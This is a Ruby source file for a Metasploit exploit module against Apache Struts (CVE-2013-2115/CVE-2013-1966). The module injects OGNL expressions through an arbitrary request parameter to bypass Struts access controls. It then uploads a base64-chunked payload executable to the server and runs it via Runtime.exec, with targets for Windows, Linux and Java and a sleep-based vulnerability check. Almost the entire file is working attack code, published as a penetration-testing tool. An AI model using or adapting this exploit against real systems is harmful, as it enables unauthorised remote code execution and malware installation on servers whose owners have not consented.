##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
#   http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::FileDropper

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Apache Struts includeParams Remote Code Execution',
			'Description'    => %q{
				This module exploits a remote command execution vulnerability in Apache Struts
				versions < 2.3.14.2. A specifically crafted request parameter can be used to inject
				arbitrary OGNL code into the stack bypassing Struts and OGNL library protections.
			},
			'Author'         =>
				[
					'Eric Kobrin', # Vulnerability Discovery
					'Douglas Rodrigues', # Vulnerability Discovery
					'Coverity security Research Laboratory', # Vulnerability Discovery
					'NSFOCUS Security Team', # Vulnerability Discovery
					'Richard Hicks <scriptmonkey.blog[at]gmail.com>', # Metasploit Module
				],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'CVE', '2013-2115'],
					[ 'CVE', '2013-1966'],
					[ 'OSVDB', '93645'],
					[ 'URL', 'https://cwiki.apache.org/confluence/display/WW/S2-014'],
					[ 'URL', 'http://struts.apache.org/development/2.x/docs/s2-013.html']
				],
			'Platform'      => [ 'win', 'linux', 'java'],
			'Privileged'     => true,
			'Targets'        =>
				[
					['Windows Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'windows'
						}
					],
					['Linux Universal',
						{
							'Arch' => ARCH_X86,
							'Platform' => 'linux'
						}
					],
					[ 'Java Universal',
						{
							'Arch' => ARCH_JAVA,
							'Platform' => 'java'
						},
					]
				],
			'DisclosureDate' => 'May 24 2013',
			'DefaultTarget' => 2))

			register_options(
				[
					Opt::RPORT(8080),
					OptString.new('PARAMETER',[ true, 'The parameter to use for the exploit (does not have to be an expected one).',rand_text_alpha_lower(4)]),
					OptString.new('TARGETURI', [ true, 'The path to a vulnerable struts application action', "/struts2-blank3/example/HelloWorld.action"]),
					OptEnum.new('HTTPMETHOD', [ true, 'Which HTTP Method to use, GET or POST','GET', ['GET','POST']]),
					OptInt.new('CHECK_SLEEPTIME', [ true, 'The time, in seconds, to ask the server to sleep while check', 5])
		], self.class)

		#initialise some base vars
		@inject = "${#_memberAccess[\"allowStaticMethodAccess\"]=true,CMD}"
		@java_upload_part_cmd = "#f=new java.io.FileOutputStream('FILENAME',APPEND),#f.write(new sun.misc.BASE64Decoder().decodeBuffer('BUFFER')), #f.close()"
	end

	def execute_command(cmd, opts = {})
		inject_string = @inject.gsub(/CMD/,cmd)
		uri = normalize_uri(target_uri.path)
		req_hash = {'uri' => uri, 'version' => '1.1', 'method' => datastore['HTTPMETHOD'] }
		case datastore['HTTPMETHOD']
			when 'POST'
				req_hash.merge!({ 'vars_post' => { datastore['PARAMETER'] => inject_string }})
			when 'GET'
				req_hash.merge!({ 'vars_get' => { datastore['PARAMETER'] => inject_string }})
		end

# Display a nice "progress bar" instead of message spam
		case @notify_flag
		when 0
			print_status("Performing HTTP #{datastore['HTTPMETHOD']} requests to upload payload")
			@notify_flag = 1
		when 1
			print(".") # Progress dots
		when 2
			print_status("Payload upload complete")
		end

		return send_request_cgi(req_hash) #Used for check function.
	end

	def exploit
		#Set up generic values.
		@payload_exe = rand_text_alphanumeric(4+rand(4))
		pl_exe = generate_payload_exe
		append = false
		#Now arch specific...
		case target['Platform']
		when 'linux'
			@payload_exe = "/tmp/#{@payload_exe}"
			chmod_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_chmod +x #{@payload_exe}\".split(\"_\"))"
			exec_cmd = "@java.lang.Runtime@getRuntime().exec(\"/bin/sh_-c_#{@payload_exe}\".split(\"_\"))"
		when 'java'
			@payload_exe << ".jar"
			pl_exe = payload.encoded_jar.pack
			exec_cmd = ""
			exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdkChecked'),"
			exec_cmd << "#q.setAccessible(true),#q.set(null,true),"
			exec_cmd << "#q=@java.lang.Class@forName('ognl.OgnlRuntime').getDeclaredField('_jdk15'),"
			exec_cmd << "#q.setAccessible(true),#q.set(null,false),"
			exec_cmd << "#cl=new java.net.URLClassLoader(new java.net.URL[]{new java.io.File('#{@payload_exe}').toURI().toURL()}),"
			exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
			exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
			exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
		when 'windows'
			@payload_exe = "./#{@payload_exe}.exe"
			exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{@payload_exe}')"
		else
			fail_with(Exploit::Failure::NoTarget, 'Unsupported target platform!')
		end

		print_status("Preparing payload...")
		# Now with all the arch specific stuff set, perform the upload.
		# Need to calculate amount to allocate for non-dynamic parts of the URL.
		# Fixed strings are tokens used for substitutions.
		append_length = append ? "true".length : "false".length # Gets around the boolean/string issue
		sub_from_chunk = append_length + ( @java_upload_part_cmd.length - "FILENAME".length - "APPEND".length - "BUFFER".length )
		sub_from_chunk += ( @inject.length - "CMD".length ) + @payload_exe.length + normalize_uri(target_uri.path).length + datastore['PARAMETER'].length
		case datastore['HTTPMETHOD']
			when 'GET'
				chunk_length = 2048 - sub_from_chunk # Using the max request length of 2048 for IIS, subtract all the "static" URL items.
				#This lets us know the length remaining for our base64'd payloads
				chunk_length = ((chunk_length/4).floor)*3
			when 'POST'
				chunk_length = 65535 # Just set this to an arbitrarily large value, as its a post request we don't care about the size of the URL anymore.
		end
		@notify_flag = 0
		while pl_exe.length > chunk_length
			java_upload_part(pl_exe[0,chunk_length],@payload_exe,append)
			pl_exe = pl_exe[chunk_length,pl_exe.length - chunk_length]
			append = true
		end
		java_upload_part(pl_exe,@payload_exe,append)
		execute_command(chmod_cmd) if target['Platform'] == 'linux'
		print_line() # new line character, after progress bar.
		@notify_flag = 2 # upload is complete, next command we're going to execute the uploaded file.
		execute_command(exec_cmd)
		register_files_for_cleanup(@payload_exe)
	end

	def java_upload_part(part, filename, append = false)
		cmd = @java_upload_part_cmd.gsub(/FILENAME/,filename)
		append = append ? "true" : "false" # converted for the string replacement.
		cmd = cmd.gsub!(/APPEND/,append)
		cmd = cmd.gsub!(/BUFFER/,Rex::Text.encode_base64(part))
		execute_command(cmd)
	end

	def check
		print_status("Performing Check...")
		sleep_time = datastore['CHECK_SLEEPTIME']
		check_cmd = "@java.lang.Thread@sleep(#{sleep_time * 1000})"
		t1 = Time.now
		print_status("Asking remote server to sleep for #{sleep_time} seconds")
		response = execute_command(check_cmd)
		t2 = Time.now
		delta = t2 - t1


		if response.nil?
			return Exploit::CheckCode::Safe
		elsif delta < sleep_time
			return Exploit::CheckCode::Safe
		else
			return Exploit::CheckCode::Appears
		end
	end

end